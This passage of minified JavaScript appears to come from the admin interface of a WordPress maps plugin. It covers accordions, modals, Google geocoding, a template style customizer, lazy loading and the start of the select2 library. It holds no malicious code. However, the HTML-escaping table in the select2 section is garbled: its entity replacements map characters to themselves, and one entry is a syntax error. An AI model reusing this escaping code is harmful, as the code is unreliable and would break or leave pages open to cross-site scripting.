n(t){opened=a(document).find("."+t.cssOpen),a.each(opened,function(){a(this).addClass(t.cssClose).removeClass(t.cssOpen),t.animateClose(a(this),t)})}function r(t,e){t.hasClass(e.cssOpen)?(n(e),l(e)&&i("",e)):(n(e),t=t,n(e=e),t.removeClass(e.cssClose).addClass(e.cssOpen),e.animateOpen(t,e),l(e)&&i(id=t.attr("id"),e))}function l(t){return!(!a.cookie||""==t.cookieName)}function i(t,e){l(e)&&a.cookie(e.cookieName,t,e.cookieOptions)}function c(t){return l(t)&&null!=a.cookie(t.cookieName)}a.fn.accordion=function(t){if(!this||this.length<1)return this;var e,s,o;e=this,s=a.extend({},a.fn.accordion.defaults,t),o="",e.each(function(){var t,e,n=a(this),i=(i=s,n.data("accordion-opts",i),"mouseenter"==s.bind&&n.bind("mouseenter",function(t){t.preventDefault(),r(n,s)}),"mouseover"==s.bind&&n.bind("mouseover",function(t){t.preventDefault(),r(n,s)}),"click"==s.bind&&n.bind("click",function(t){t.preventDefault(),r(n,s)}),"dblclick"==s.bind&&n.bind("dblclick",function(t){t.preventDefault(),r(n,s)}),n.attr("id"));l(s)&&c(s)?!1==(t=i,!!l(e=s)&&!!c(e)&&(cookie=unescape(a.cookie(e.cookieName)))==t)?(n.addClass(s.cssClose),s.loadClose(n,s)):(n.addClass(s.cssOpen),s.loadOpen(n,s),o=i):i!=s.defaultOpen?(n.addClass(s.cssClose),s.loadClose(n,s)):(n.addClass(s.cssOpen),s.loadOpen(n,s),o=i)}),0<o.length&&l(s)?i(o,s):i("",s)},a.fn.accordion.defaults={cssClose:"accordion-close",cssOpen:"accordion-open",cookieName:"accordion",cookieOptions:{path:"/",expires:7,domain:"",secure:""},defaultOpen:"",speed:"slow",bind:"click",animateOpen:function(t,e){t.next().stop(!0,!0).slideDown(e.speed)},animateClose:function(t,e){t.next().stop(!0,!0).slideUp(e.speed)},loadOpen:function(t,e){t.next().show()},loadClose:function(t,e){t.next().hide()}}}(jQuery),!function(o){o.fn.fcModal=function(t){var s=o.extend({onOpen:function(){},register_fc_modal_handing_events:function(){o(".fc-modal").each(function(t,e){var n,i=o(this).data("initiator");void 0!==i&&o(i.length)&&(o(i).data("target",o(this).attr("id")),n=o(this).attr("id"),o("body").on("click",i,function(){0<o("#"+n).length&&(s.onOpen(),o("#"+n).css("display","block"))}))}),o("body").on("click",".fc-modal-close",function(){var t=o(this).closest("div.fc-modal");o(t).css("display","none")}),window.onclick=function(t){o(t.toElement).hasClass("fc-modal")&&o(".fc-modal").hide()}}},t);return this.each(function(){s.register_fc_modal_handing_events()})}}(jQuery),jQuery(document).ready(function(a){a(".fc-modal").fcModal({});a(".custom-accordion > dd").hide();a(".custom-accordion > dd:first-of-type").show(),a(".custom-accordion > dt:first-of-type").addClass("accordion-active"),a(".fc-help-right .custom-accordion > dd:first-of-type").hide(),a(".fc-help-right .custom-accordion > dt:first-of-type").removeClass("accordion-active"),a(".custom-accordion > dt .get_pro").add(".fc-form-container .fc-form-group.fc-locked .get_pro").on("click",function(t){return t.stopPropagation(),window.open("https://www.wpmapspro.com/?utm_source=wordpress&utm_medium=liteversion&utm_campaign=freemium&utm_id=freemium","_blank"),!1}),a(".custom-accordion > dt > section > div > h4").add(".fc-form-container .fc-form-group.fc-locked").on("click",function(){var t=a(this),e=t.closest("dt").next();return t.closest("dt").find("section").hasClass("fc-locked")||(t.closest("dt").hasClass("accordion-active")?(t.closest("dt").next("dd").slideUp(),t.closest("dt").removeClass("accordion-active")):(t.closest(".custom-accordion").find("dd").slideUp(),t.closest(".custom-accordion").find("dt").removeClass("accordion-active"),t.closest("dt").addClass("accordion-active"),e.addClass("active").slideDown())),!1}),a(".row-actions .copy a").append('<i class="fa fa-copy "></i>'),a('.wp-list-table .check-column input[type="checkbox"]').wrap('<span class="checkbox"></span>'),a('.wp-list-table .check-column input[type="checkbox"]').after("<label></label>"),a(".wp-list-table #the-list").on("click","tr",function(t){a(this).hasClass("active")?a(this).removeClass("active"):a(this).addClass("active")}),($overviewPage=0<a(".fcdoc-product-info").length)&&(settings_obj.urlforajax,a("#user-suggestion,#purchase_code").keyup(function(){a(this).css("border","none")})),a("body").on("click",'input[name="fc-geocoding"]',function(t){t.preventDefault(),a(this).hide(),a(this).parent().parent().find(".fcdoc-loader").show();var s=a(this).parent().parent().find(".fc-location-new-set"),t=JSON.parse(a(this).parent().parent().find(".fc-location-data-set").val()),o=[],e=1e3,n=new google.maps.Geocoder;a.each(t,function(t,e){0});a.each(t,function(i,t){setTimeout(function(){n.geocode({address:t},function(t,e){var n;null!=t&&0<t.length&&(n=t[0].geometry.location.lat()?t[0].geometry.location.lat():"",t=t[0].geometry.location.lng()?t[0].geometry.location.lng():"",n=JSON.parse('{"id":"'+i+'","latitude": "'+n+'", "longitude": "'+t+'"}'),o.push(n),a(s).val(JSON.stringify(o)))})},e),e+=500}),setTimeout(function(){a(".fcdoc-loader").hide(),a(".fc-geocoding").hide(),a(".wpgmp-status").html('<div class="fc-msg fc-success">Geocoding process is completed. Click below to save new changes.</div>').show(),a(".fc-geocoding-updates").show()},e+2e3)}),0<a(".wpgmp_datepicker").length&&a(".wpgmp_datepicker").datepicker({dateFormat:"dd-mm-yy"})}),jQuery(document).ready(function(T){var t,i="",n=(T(".yes-remove-current-template").on("click",function(){var t=T(this).data("product"),e=T(this).data("templatetype"),n=T(this).data("templatename"),t={action:"core_backend_ajax_calls",product:t,templateName:n,templatetype:e,selector:".default-custom-template",operation:"delete_custom_template"};i=n,$inputs=t,jQuery.ajax({type:"POST",url:settings_obj.urlforajax,dataType:"json",data:t,beforeSend:function(){jQuery(".se-pre-con").fadeIn("slow")},success:function(t){switch(jQuery(".se-pre-con").fadeOut("slow"),$inputs.selector){case".set-default-template":T(".fc_tools").css("display","none"),T(".fc_name").css("display","none"),T(".current_selected").parent().parent().find(".fc_name").css("display","block"),T(".current_selected").closest(".fc_tools").css("display","block"),T(".current-temp-in-use").removeClass("current-temp-in-use"),T(".current_selected").addClass("current-temp-in-use");break;case".default-custom-template":T(".default-custom-template[data-templatename="+i+"]").parent().parent().parent().remove()}}}),T("#remove-current-template").modal("hide")}),T(".default-custom-template").on("click",function(){return T("#remove-current-template").modal("show"),T(".yes-remove-current-template").data("product",T(this).data("product")),T(".yes-remove-current-template").data("templatetype",T(this).data("templatetype")),T(".yes-remove-current-template").data("templatename",T(this).data("templatename")),!1}),"");T("body").on("click",".repeat_button",function(){for(var t=T(this).parent().parent(),e=T(t).clone(),n=T(e).find("input[type='text']"),i=0;i<n.length;i++){var s=T(n[i]).attr("name"),o=new RegExp(/\[([0-9]+)\]/i).exec(s),a=parseInt(o[1])+1,r=s.replace(/\[([0-9]+)\]/i,"["+a+"]");T(n[i]).attr("name",r)}for(n=T(e).find("input[type='number']"),i=0;i<n.length;i++){s=T(n[i]).attr("name"),o=new RegExp(/\[([0-9]+)\]/i).exec(s),a=parseInt(o[1])+1,r=s.replace(/\[([0-9]+)\]/i,"["+a+"]");T(n[i]).attr("name",r)}T(e).find("input[type='text']").val(""),T(e).find("input[type='number']").val(""),T(t).find(".repeat_button").val("Remove"),T(t).find(".repeat_button").removeClass("repeat_button").addClass("repeat_remove_button"),T(t).after(T(e))}),T("body").on("click",".repeat_remove_button",function(){var t=T(this).parent().parent(),e=T(t).clone(),t=(T(t).remove(),T(e).find("input[type='text']"));T.each(t,function(t,e){var n=T(this).attr("name"),i=n.replace(/\[([0-9]+)\]/i,"");T.each(T("*[name^='"+i+"']"),function(t,e){t=(n=T(this).attr("name")).replace(/\[([0-9]+)\]/i,"["+t+"]");T(this).attr("name",t)})}),T(this).data("id")&&(n=n+T(this).data("id")+"|",T("#fc_remove_entities").val(n))}),window.send_to_editor_default=window.send_to_editor,T(".fa-picture-o").click(function(){return window.send_to_editor=function(t){T("body").append('<div id="temp_image">'+t+"</div>");t=T("#temp_image").find("img");imgurl=t.attr("src"),T(".active_element").css("background-image","url("+imgurl+")");try{tb_remove()}catch(t){}T("#temp_image").remove(),window.send_to_editor=window.send_to_editor_default},tb_show("","media-upload.php?post_ID=0&type=image&TB_iframe=true"),!1});T(".choose_image").click(function(){return currentClickedID=T(this).data("ref"),window.send_to_editor=window.attach_image,tb_show("","media-upload.php?post_ID=0&target=marker_category_icon&type=image&TB_iframe=true"),!1}),window.attach_image=function(t){T("body").append('<div id="temp_image'+currentClickedID+'">'+t+"</div>");t=T("#temp_image"+currentClickedID).find("img");imgurl=t.attr("src"),imgclass=t.attr("class"),imgid=parseInt(imgclass.replace(/\D/g,""),10),T("#remove_image"+currentClickedID).show(),T("#image_"+currentClickedID).attr("src",imgurl).show(),T("#input_"+currentClickedID).val(imgurl);try{tb_remove()}catch(t){}T("#temp_image"+currentClickedID).remove(),window.send_to_editor=window.send_to_editor_default},T(".remove_image").click(function(){return t=T(this).parent().parent(),T(t).find(".selected_image").attr("src",""),T(t).find('input[name="'+T(this).data("target")+'"]').val(""),T(this).hide(),!1}),T(".switch_onoff").change(function(){var t=T(this).data("target");"radio"==T(this).attr("type")&&(T(t).closest(".fc-form-group").hide(),t+="_"+T(this).val()),T(this).is(":checked")?T(t).closest(".fc-form-group").show():(T(t).closest(".fc-form-group").hide(),T(t).hasClass("switch_onoff")&&(T(t).attr("checked",!1),T(t).trigger("change")))}),T.each(T(".switch_onoff"),function(t,e){1==T(this).is(":checked")&&T(this).trigger("change")}),T("input[name='wpp_refresh']").trigger("change"),T("body").on("click",".fc-accordion-tab",function(){T(this).hasClass("active")?(T(this).removeClass("active"),T(this).next().removeClass("active")):(T(".fc-accordion-tab").removeClass("active"),T(".fc-acc-child").removeClass("active"),T(this).addClass("active"),T(this).next().addClass("active"))}),0<jQuery(".fc_templates").length&&(T(".fc_load_original").click(function(){var t;confirm("Are you Sure?")&&(t=T(this).closest(".fc_customizer").parent(),T(t).find(".current-temp-in-use").trigger("click"))}),T(".fc_apply_changes").click(function(){var s=T(this).closest(".fc_customizer"),t=T(this).closest(".fc_customizer").parent(),e=(T(s).find(".fc_preview").append('<div class="fc_loading"></div>'),T(s).find(".fc_view_source").val()),o=T(t).find(".current-temp-in-use").data("templatename"),a=T(t).find(".current-temp-in-use").data("templatetype");jQuery.ajax({type:"POST",url:settings_obj.urlforajax,dataType:"json",data:{action:"core_templates",operation:"fc_load_template",nonce:settings_obj.nonce,template_name:o,template_type:a,template_source:e,columns:T(s).find(".fc-grid-active").data("col")},beforeSend:function(){},success:function(t){T(s).parent().find(".fc-bottom-bar").show();var e=settings_obj.text_editable,n=(new DOMParser).parseFromString(t.html,"text/html").body.innerHTML,i=T(s).find(".fc_preview").clone(),n=(T(s).find(".fc_preview").html(n),T(i).find(".editable").each(function(t){var e=T(this),n=(T(this).data("temp-type"),T(e).removeClass("editable"),T(e).removeClass("active_element"),T(e).attr("class").split(" "));n&&n.length&&(T.each(n,function(t,e){0<=e.indexOf("{")&&delete n[t],n[t]="."+e}),n=n.join(""),e=T(e).attr("style"),T(s).find(".fc_preview").find(n).attr("style",e))}),0<e.length&&T.each(e,function(t,e){T(s).find(e).addClass("editable").data("editor","text"),T(s).find(e).data("temp-type",a+"-"+o)}),0<(e=settings_obj.bg_editable).length&&T.each(e,function(t,e){T(s).find(e).addClass("editable").data("editor","bg"),T(s).find(e).data("temp-type",a+"-"+o)}),0<(e=settings_obj.margin_editable).length&&T.each(e,function(t,e){T(s).find(e).addClass("editable").data("editor","margin"),T(s).find(e).data("temp-type",a+"-"+o)}),0<(e=settings_obj.full_editable).length&&T.each(e,function(t,e){T(s).find(e).addClass("editable").data("editor","full"),T(s).find(e).data("temp-type",a+"-"+o)}),(new DOMParser).parseFromString(t.sourcecode,"text/html").body.innerHTML);T(s).find(".fc_view_source").val(n)}})}),T(".set-default-template").click(function(t){var n=T(this).closest(".fc_templates"),i=(T(".fc_customizer .fc_apply_style").removeClass("show_customizer"),T(".fc_tool_fgc").iris("hide"),T(".fc_tool_bgc").iris("hide"),T(".active_element").removeClass("active_element"),T(n).find(".current_selected").removeClass("current_selected"),T(this).addClass("current_selected"),t.preventDefault(),T(this).data("templatename")),s=T(this).data("templatetype"),t=T(this).data("input"),e=(T('input[name="'+t+'[name]"]').val(i),T('input[name="'+t+'[type]"]').val(s),T(n).find(".fc_tools").css("display","none"),T(n).find(".fc_name").css("display","none"),T(n).find(".current_selected").parent().parent().find(".fc_name").css("display","block"),T(n).find(".current_selected").closest(".fc_tools").css("display","block"),T(n).find(".current-temp-in-use").removeClass("current-temp-in-use"),T(n).find(".current_selected").addClass("current-temp-in-use"),T(n).find(".fc_preview").html('<div class="fc_loading"></div>'),{action:"core_templates",operation:"fc_load_template",nonce:settings_obj.nonce,template_name:i,template_type:s,columns:T(n).parent().find(".fc_customizer").find(".fc-grid-active").data("col")});T(this).hasClass("current-saved")&&(e.template_source=T('input[name="'+t+'[sourcecode]"]').val()),jQuery.ajax({type:"POST",url:settings_obj.urlforajax,dataType:"json",data:e,beforeSend:function(){T(n).append('<div class="fc_loading"></div>'),T(".fc-btn-submit").attr("disabled","disabled"),T(".fc-btn-submit").prop("disabled",!0)},complete:function(){T(".fc_loading").remove(),T(".fc-btn-submit").removeAttr("disabled"),T(".fc-btn-submit").prop("disabled",!1)},success:function(t){T(n).parent().find(".fc_customizer").show(),T(n).parent().find(".fc_source_code_container").show(),T(n).parent().find(".fc_preview").html(t.html);var e=settings_obj.text_editable;0<e.length&&T.each(e,function(t,e){T(n).parent().find(e).addClass("editable").data("editor","text"),T(n).parent().find(e).data("temp-type",s+"-"+i)}),0<(e=settings_obj.bg_editable).length&&T.each(e,function(t,e){T(n).parent().find(e).addClass("editable").data("editor","bg"),T(n).parent().find(e).data("temp-type",s+"-"+i)}),0<(e=settings_obj.margin_editable).length&&T.each(e,function(t,e){T(n).parent().find(e).addClass("editable").data("editor","margin"),T(n).parent().find(e).data("temp-type",s+"-"+i)}),0<(e=settings_obj.full_editable).length&&T.each(e,function(t,e){T(n).parent().find(e).addClass("editable").data("editor","full"),T(n).parent().find(e).data("temp-type",s+"-"+i)}),T(n).parent().find(".fc_view_source").val(t.sourcecode)}})}),0<T(".current-temp-in-use").length&&T(".fc_apply_changes").trigger("click"),T(".current-temp-in-use").length&&(T(".current-temp-in-use").parent().parent().find(".fc_name").css("display","block"),T(".current-temp-in-use").closest(".fc_tools").css("display","block")),T(".fc_templates").slick({slidesToShow:1,infinite:!0,speed:300,centerMode:!0,variableWidth:!0}),T(".fc_preview").on("click","a",function(t){t.preventDefault()}),setTimeout(function(){T(".current-saved").length&&T(" .current-saved.set-default-template").trigger("click")},3e3),T(".fc_preview").on("hover",".editable",function(t){T(".fc-edit-mode").is(":checked")&&t.target===t.currentTarget&&(T(this).attr("class"),T(this).addClass("fc-show-editable"))}),T(".fc_preview").on("click",".editable",function(t){var e,n,i,s,o,a,r,l,c,h,u,d,p,f,g,m,v,b=T(this).closest(".fc_preview").parent().parent().parent();T(b).find(".fc_tool_fgc").iris("hide"),T(b).find(".fc_tool_bgc").iris("hide"),t.target===t.currentTarget&&(T(this).data("editor"),T(".fc-bg-control").show(),T(".fc-forground-control").show(),T(".fc-margin-control").show(),T(b).find(".active_element").removeClass("active_element"),T(this).addClass("fc_inline"),t=T(b).position(),T(b).outerWidth(),e=T(this).position(),T(this).outerWidth(),t.left,T(this).removeClass("fc_inline"),t=T(this).css("font-weight"),n=T(this).css("font-size").replace(/[^-\d\.]/g,""),i=T(this).css("color").replace(")",", 0)").replace("rgb","rgba"),s=T(this).css("line-height").replace(/[^-\d\.]/g,""),o=T(this).css("background-color"),a=T(this).css("background"),r=T(this).css("font-style"),l=T(this).css("text-decoration-line"),0<=(v=0<=(v=T(this).css("font-family")).indexOf(",")?(v=v.split(","))[0]:v).indexOf('"')&&(v=(v=v.replace('"',"")).replace('"',"")),WebFont.load({google:{families:[v]}}),T(".fc-forground-control .fc-font-family select").val(v),v=T(this).css("text-align"),c=T(this).css("margin-top").replace(/[^-\d\.]/g,""),h=T(this).css("margin-bottom").replace(/[^-\d\.]/g,""),u=T(this).css("margin-left").replace(/[^-\d\.]/g,""),d=T(this).css("margin-right").replace(/[^-\d\.]/g,""),p=T(this).css("padding-top").replace(/[^-\d\.]/g,""),f=T(this).css("padding-bottom").replace(/[^-\d\.]/g,""),g=T(this).css("padding-left").replace(/[^-\d\.]/g,""),m=T(this).css("padding-right").replace(/[^-\d\.]/g,""),T(".fc-forground-control .fc_tool_text_align_"+v).addClass("fc-tool-active"),T(b).find(".fc_margin_top").val(c),T(b).find(".fc_margin_bottom").val(h),T(b).find(".fc_margin_left").val(u),T(b).find(".fc_margin_right").val(d),T(b).find(".fc_padding_top").val(p),T(b).find(".fc_padding_bottom").val(f),T(b).find(".fc_padding_left").val(g),T(b).find(".fc_padding_right").val(m),T(".fc-bg-control .fc_tool_bgc").val(o),T(".fc-bg-control .fc_tool_bgc").trigger("change"),T(".fc-forground-control .fc_tool_fgc").val(i),T(".fc-forground-control .fc_tool_fgc").trigger("change"),"bold"==t||"700"==t?T(b).find(".fc_tool_text_bold").addClass("fc-tool-active"):T(b).find(".fc_tool_text_bold").removeClass("fc-tool-active"),console.log(l),"underline"==l?T(b).find(".fc_tool_text_underline").addClass("fc-tool-active"):T(b).find(".fc_tool_text_underline").removeClass("fc-tool-active"),"italic"==r?T(b).find(".fc_tool_text_italic").addClass("fc-tool-active"):T(b).find(".fc_tool_text_italic").removeClass("fc-tool-active"),"none"==a&&T(b).find(".fc_tool_bg_transparent").attr("checked","checked"),T(b).find(".fc_tool_text_lineheight").val(s),T(b).find(".fc_tool_font_size").val(n),e.left,T(b).parent().find(".fc_customizer .fc_apply_style").addClass("show_customizer"),v=T(this).attr("class"),T("editable"!=v?'*[class*="'+v+'"]':this).addClass("active_element"))}),T(".fc_preview").on("mouseout",".editable",function(t){t.target===t.currentTarget&&(T(this).attr("class"),T(this).removeClass("fc-show-editable"))}),T(".fc_tool_text_bold").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("font-weight","inherit")):(T(this).addClass("fc-tool-active"),T(".active_element").css("font-weight","bold"))}),T(".fc_tool_text_align_left").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("text-align","inherit")):(T(this).parent().find("a").removeClass("fc-tool-active"),T(this).addClass("fc-tool-active"),T(".active_element").css("text-align","left"))}),T(".fc_tool_text_align_right").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("text-align","inherit")):(T(this).parent().find("a").removeClass("fc-tool-active"),T(this).addClass("fc-tool-active"),T(".active_element").css("text-align","right"))}),T(".fc_tool_text_align_center").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("text-align","inherit")):(T(this).parent().find("a").removeClass("fc-tool-active"),T(this).addClass("fc-tool-active"),T(".active_element").css("text-align","center"))}),T(".fc-font-family select").change(function(){var t=T(this).val();WebFont.load({google:{families:[t]}}),T(".active_element").css("font-family",t)}),T(".fc_tool_text_align_justify").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("text-align","inherit")):(T(this).parent().find("a").removeClass("fc-tool-active"),T(this).addClass("fc-tool-active"),T(".active_element").css("text-align","justify"))}),T(".fc_apply_style").click(function(t){t.target===t.currentTarget&&(T(".fc_tool_fgc").iris("hide"),T(".fc_tool_bgc").iris("hide"))}),T(".fc-forground-control .fa-undo").click(function(){T(".active_element").css("color",""),T(".active_element").css("line-height",""),T(".active_element").css("font-size",""),T(".active_element").css("font-style",""),T(".active_element").css("font-weight",""),T(".active_element").css("text-decoration","")}),T(".fc-bg-control .fa-undo").click(function(){T(".active_element").css("background","")}),T(".fc_tool_text_italic").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("font-style","normal")):(T(this).addClass("fc-tool-active"),T(".active_element").css("font-style","italic"))}),T(".fc-forground-control .fc_tool_fgc").wpColorPicker({change:function(t,e){T(".active_element").css("color",T(this).val())}}),T(".fc-bg-control .fc_tool_bgc").wpColorPicker({change:function(t,e){T(".active_element").css("background-color",T(this).val())}}),T(".fc_tool_text_underline").click(function(){T(this).hasClass("fc-tool-active")?(T(this).removeClass("fc-tool-active"),T(".active_element").css("text-decoration","none")):(T(this).addClass("fc-tool-active"),T(".active_element").css("text-decoration","underline"))}),jQuery(".fc-show-placeholder").on("click",function(t){var e=T(this).closest(".fc_supported_placeholder").parent().parent().parent();T(e).find(".fc-hidden-placeholder").toggle("show"),"Show Placeholder"===T.trim(T(this).val())?T(this).val("Hide Placeholder"):T(this).val("Show Placeholder")}),T(".fc-show-source").toggle(function(){var t=T(this).closest(".fc-bottom-bar").parent();T(t).find(".fc_source_code_container").show(),T(this).val("Hide Source")},function(){var t=T(this).closest(".fc-bottom-bar").parent();T(t).find(".fc_source_code_container").hide(),T(this).val("View Source")}),T(".fc_tool_text_lineheight").bind("keyup mouseup",function(){T(".active_element").css("line-height",T(this).val()+"px")}),T(".fc_tool_bg_repeat").change(function(){T(".active_element").css("background-repeat",T(this).val())}),T(".fc-texture").click(function(t){t.preventDefault(),T(".active_element").css({"background-image":"url('"+settings_obj.image_path+"/back-skin/"+T(this).data("image")+".png')","background-repeat":"repeat"})}),T(".fc_tool_font_size").bind("keyup mouseup",function(){T(".active_element").css("font-size",T(this).val()+"px")}),T(".fc_margin_top").bind("keyup mouseup",function(){T(".active_element").css("margin-top",T(this).val()+"px")}),T(".fc_margin_bottom").bind("keyup mouseup",function(){T(".active_element").css("margin-bottom",T(this).val()+"px")}),T(".fc_margin_left").bind("keyup mouseup",function(){T(".active_element").css("margin-left",T(this).val()+"px")}),T(".fc_margin_right").bind("keyup mouseup",function(){T(".active_element").css("margin-right",T(this).val()+"px")}),T(".fc_padding_top").bind("keyup mouseup",function(){T(".active_element").css("padding-top",T(this).val()+"px")}),T(".fc_padding_bottom").bind("keyup mouseup",function(){T(".active_element").css("padding-bottom",T(this).val()+"px")}),T(".fc_padding_left").bind("keyup mouseup",function(){T(".active_element").css("padding-left",T(this).val()+"px")}),T(".fc_padding_right").bind("keyup mouseup",function(){T(".active_element").css("padding-right",T(this).val()+"px")}),T(".fc-show-grid").click(function(){var t=T(this).closest(".fc-bottom-bar").parent().parent(),e=(T(t).find(".fc_preview .fc-component-block .fc-component-content").not(":first").remove(),T(t).find(".fc-grid-active").removeClass("fc-grid-active"),T(this).data("col")),n=T(t).find(".fc_preview .fc-component-block .fc-component-content").clone(!0).off();for(c=1;c<e;c++)T(t).find(".fc_preview .fc-component-block").append(n.clone());T(this).addClass("fc-grid-active")}),T(".fc-reset-design").toggle(function(){var t=T(this).closest(".fc_customizer").parent().find(".fc_templates"),e=T(t).find(".current-temp-in-use").data("templatename"),t="fc-"+T(t).find(".current-temp-in-use").data("templatetype")+"-"+e;T("."+t).addClass("fc-temp-undo").removeClass(t),T(this).removeClass("fa-arrow-circle-left").addClass("fa-arrow-circle-right"),T(this).parent().find(".fc-tooltiptext").text("View Customized")},function(){var t=T(this).closest(".fc_customizer").parent().find(".fc_templates"),e=T(t).find(".current-temp-in-use").data("templatename"),t="fc-"+T(t).find(".current-temp-in-use").data("templatetype")+"-"+e;T(".fc-temp-undo").addClass(t).removeClass("fc-temp-undo"),T(this).removeClass("fa-arrow-circle-right").addClass("fa-arrow-circle-left"),T(this).parent().find(".fc-tooltiptext").text("View Original")}),T(".fc-check-responsive .fa-mobile").click(function(){var t=T(this).closest(".fc-bottom-bar").parent();T(t).find(".fc_preview .fc-component-block").addClass("fc-mobile-view")}),T(".fc-check-responsive .fa-desktop").click(function(){var t=T(this).closest(".fc-bottom-bar").parent();T(t).find(".fc_preview .fc-component-block").removeClass("fc-mobile-view")}),T(".fc_view_source").click(function(){T(".fc_customizer .fc_apply_style").removeClass("show_customizer"),T(".fc_tool_fgc").iris("hide"),T(".fc_tool_bgc").iris("hide"),T(".active_element").removeClass("active_element")}),T(document).keyup(function(t){27==t.keyCode&&(T(".fc_customizer .fc_apply_style").removeClass("show_customizer"),T(".fc_tool_fgc").iris("hide"),T(".fc_tool_bgc").iris("hide"),T(".active_element").removeClass("active_element"))}),T(".wpgmp-overview form").submit(function(){var w={},C=0;return T(".editable").each(function(t){var e,n,i,s,o,a,r,l,c,h,u,d,p,f,g,m,v,b={},y=T(this),S=T(this).data("temp-type"),_=(b[S]={},T(y).removeClass("editable"),T(y).removeClass("active_element"),T(y).attr("class").split(" "));_&&_.length&&(T.each(_,function(t,e){0<=e.indexOf("{")&&delete _[t]}),_=_.join("."),e=T(y).css("font-weight"),n=T(y).css("font-size"),i=T(y).css("color"),s=T(y).css("font-family"),o=T(y).css("text-align"),a=T(y).css("line-height"),r=T(y).css("background-color"),l=T(y).css("font-style"),c=T(y).css("text-decoration"),h=T(y).css("background-image"),u=T(y).css("margin-top"),d=T(y).css("margin-bottom"),p=T(y).css("margin-left"),f=T(y).css("margin-right"),g=T(y).css("padding-top"),m=T(y).css("padding-bottom"),v=T(y).css("padding-left"),y=T(y).css("padding-right"),b[S][_]="background-image:"+h+";font-family:"+s+";font-weight:"+e+";font-size:"+n+";color:"+i+";line-height:"+a+";background-color:"+r+";font-style:"+l+";text-align:"+o+";text-decoration:"+c+";margin-top:"+u+";margin-bottom:"+d+";margin-left:"+p+";margin-right:"+f+";padding-top:"+g+";padding-bottom:"+m+";padding-left:"+v+";padding-right:"+y+";",w[C]=b,C++)}),T("#fc_custom_styles").val(JSON.stringify(w)),T(".fc_view_source").each(function(t,e){T(e).closest(".fc_customizer").parent().find(".custom_sourcecode").val(T(e).val())}),!0})),0<T(".fc-footer").length&&!T("body").hasClass("wp-maps_page_wpgmp_form_group_map")&&!T("body").hasClass("wp-maps_page_wpgmp_manage_settings")&&T(window).scroll(function(){var t;800<T(".flippercode-ui-height").height()&&(0<T(".fc-no-sticky").length||(t=T(window).scrollTop(),T(window).height(),0<=t&&T(".fc-footer").addClass("fc-fixed-footer"),T(window).scrollTop()+T(window).height()>T(document).height()-30&&T(".fc-fixed-footer").removeClass("fc-fixed-footer")))}),jQuery(".fc_select2").length,T(".fc-main").find('[data-toggle="tab"]').click(function(t){t.preventDefault();t=T(this).attr("href");T(".fc-tabs-container .fc-tabs-content").hide(),T(t).show(),T(".fc-tabs .active").removeClass("active"),T(this).parent().addClass("active")})}),!function(n){function t(){for(var t,e=0;e<i.length;e++)0<=(t=(t=i[e]).getBoundingClientRect()).top&&0<=t.left&&t.top<=(n.innerHeight||document.documentElement.clientHeight)&&function(t,e){var n=new Image,i=t.getAttribute("data-src");n.onload=function(){t.parent?t.parent.replaceChild(n,t):t.src=i,e&&e()},n.src=i}(i[e],function(){i.splice(e,e)})}for(var i=new Array,e=function(t,e){if(document.querySelectorAll)e=document.querySelectorAll(t);else{var n=document,i=n.styleSheets[0]||n.createStyleSheet();i.addRule(t,"f:b");for(var s=n.all,o=0,a=[],r=s.length;o<r;o++)s[o].currentStyle.f&&a.push(s[o]);i.removeRule(0),e=a}return e}("img.lazy"),s=0;s<e.length;s++)i.push(e[s]);t(),function(t,e){n.addEventListener?this.addEventListener(t,e,!1):n.attachEvent?this.attachEvent("on"+t,e):this["on"+t]=e}("scroll",t)}(this),!function(s){void 0===s.fn.each2&&s.extend(s.fn,{each2:function(t){for(var e=s([0]),n=-1,i=this.length;++n<i&&(e.context=e[0]=this[n])&&!1!==t.call(e[0],n,e););return this}})}(jQuery),!function(v,b){"use strict";var t,e,n,y,s,r,m,c,i,o,a;function l(t){var e=v(document.createTextNode(""));t.before(e),e.before(t),e.remove()}function h(t){return t.replace(/[^\u0000-\u007E]/g,function(t){return i[t]||t})}function u(t,e){for(var n=0,i=e.length;n<i;n+=1)if(d(t,e[n]))return n;return-1}function d(t,e){return t===e||t!==b&&e!==b&&null!==t&&null!==e&&(t.constructor===String?t+""==e+"":e.constructor===String&&e+""==t+"")}function p(t,e,n){var i,s,o;if(null===t||t.length<1)return[];for(s=0,o=(i=t.split(e)).length;s<o;s+=1)i[s]=n(i[s]);return i}function f(t){return t.outerWidth(!1)-t.width()}function g(e){var n="keyup-change-value";e.on("keydown",function(){v.data(e,n)===b&&v.data(e,n,e.val())}),e.on("keyup",function(){var t=v.data(e,n);t!==b&&e.val()!==t&&(v.removeData(e,n),e.trigger("keyup-change"))})}function S(e,n,i){var s;return i=i||b,function(){var t=arguments;window.clearTimeout(s),s=window.setTimeout(function(){n.apply(i,t)},e)}}function _(t){t.preventDefault(),t.stopPropagation()}function w(t,e,n){var i,s=[],o=v.trim(t.attr("class"));o&&v((o=""+o).split(/\s+/)).each2(function(){0===this.indexOf("select2-")&&s.push(this)}),(o=v.trim(e.attr("class")))&&v((o=""+o).split(/\s+/)).each2(function(){0!==this.indexOf("select2-")&&(i=n(this))&&s.push(i)}),t.attr("class",s.join(" "))}function C(t,e,n,i){var s=h(t.toUpperCase()).indexOf(h(e.toUpperCase())),e=e.length;s<0?n.push(i(t)):(n.push(i(t.substring(0,s))),n.push("<span class='select2-match'>"),n.push(i(t.substring(s,s+e))),n.push("</span>"),n.push(i(t.substring(s+e,t.length))))}function T(t){var e={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return String(t).replace(/[&<>"'\/\\]/g,function(t){return e[t]})}function x(o){var t,a=null,e=o.quietMillis||100,r=o.url,l=this;return function(s){window.clearTimeout(t),t=window.setTimeout(function(){var 